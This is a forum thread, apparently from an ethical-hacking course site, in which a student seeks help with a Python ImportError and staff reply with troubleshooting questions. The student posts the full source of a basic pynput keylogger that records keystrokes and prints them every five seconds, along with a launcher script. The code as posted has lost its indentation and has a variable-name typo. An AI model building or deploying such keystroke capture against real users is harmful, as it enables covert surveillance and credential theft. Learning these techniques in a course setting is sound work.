Viewing 4 posts - 1 through 4 (of 4 total)
  • Author
    Posts
  • #42616
    Bornrich
    Participant

    I have python3, installed pynput and I’m getting error trying to run the keylogger.py code on my terminal.

    Traceback (most recent call last):

    File “zlogger.py”, line 2, in <module>

    import keylogger

    File “/root/PycharmProjects/Keylogger/keylogger.py”, line 2, in <module>

    import pynput.keyboard

    ImportError: No module named pynput.keyboard

    KEYLOGGER CODE

    #!/usr/bin/env python
    import pynput.keyboard
    import threading

    log = “”

    class Keylogger:
    def process_key_press(self, key):
    global log
    try:
    log = log + str(key.char)
    except AttributeError:
    if key == key.space:
    log = log + ” ”
    else:
    log = log + ” ” + str(key) + ” ”

    def report(self):
    global log
    print(log)
    log = “”
    timer = threading.Timer(5, self.report)
    timer.start()

    def start(self):
    Keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
    with keyboard_listener:
    self.report()
    keyboard_listener.join()

    Zlogger Code

    #!/usr/bin/env python
    import keylogger

    my_keylogger = keylogger.Keylogger()
    my_keylogger.start()

    #42633
    Diego PérezDiego Pérez
    Participant

    Hi!

    Did you also installed pynput for python3?

    Let me know.
    Diego

    #43148
    Bornrich
    Participant

    Yes, I did. I am stuck I have no idea what else to do.

    #43183
    Diego PérezDiego Pérez
    Participant

    Hi!
    How are you running the code? Can you share a screenshot of the command used and the result please?

    Thanks!
    Diego

Viewing 4 posts - 1 through 4 (of 4 total)
  • You must be logged in to reply to this topic.
Privacy Overview
ZSecurity logo featuring a stylized red letter Z

This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.

Strictly Necessary Cookies

Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.

3rd Party Cookies

This website uses Google Analytics and Linkedin to collect anonymous information such as the number of visitors to the site, and the most popular pages.

Keeping these cookies enabled helps us to improve our website.